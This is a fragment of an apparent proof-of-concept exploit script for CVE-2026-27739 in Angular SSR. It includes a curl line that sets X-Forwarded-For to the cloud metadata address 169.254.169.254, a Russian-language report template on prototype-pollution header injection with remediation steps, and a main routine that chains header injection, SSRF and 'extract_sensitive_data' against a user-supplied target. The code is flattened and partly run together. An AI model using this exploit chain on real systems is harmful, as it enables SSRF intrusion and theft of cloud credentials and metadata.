-CVE-2026-27739-poc

curl -H "X-Forwarded-For: http://169.254.169.254/latest/meta-data/" {self.target}

2. Инъекция заголовков через загрязнение прототипа (CVSS: 7.5)

Описание: Angular SSR обрабатывает небезопасные параметры запроса, влияющие на цепочку прототипов Воздействие: Манипуляция заголовками запроса, потенциальная цепочка SSRF

Устранение

1. Удалить/отключить обработку заголовков X-Forwarded-* или добавить известные прокси в белый список
2. Реализовать строгую валидацию URL перед операциями, подверженными SSRF
3. Использовать express-validator или аналогичный инструмент для санитизации заголовков
4. Отключить эндпоинты метаданных AWS/GCP или использовать IMDSv2 с ограничением переходов """ print(report) with open("angular_ssr_exploit_report.txt", "w") as f: f.write(report)

def main(): parser = argparse.ArgumentParser(description="Angular SSR SSRF & Header Injection Exploit") parser.add_argument("target", help="Target Angular SSR application URL") parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL verification")

args = parser.parse_args()

exploit = AngularSSRExploit(args.target, ssl_verify=not args.no_ssl_verify)

print(f"[+] Targeting: {args.target}")
print(f"[+] SSL Verify: {'Disabled' if args.no_ssl_verify else 'Enabled'}")

# Execute exploit chain
exploit.test_header_injection()
exploit.exploit_ssrf_chain()
exploit.extract_sensitive_data()
exploit.generate_report()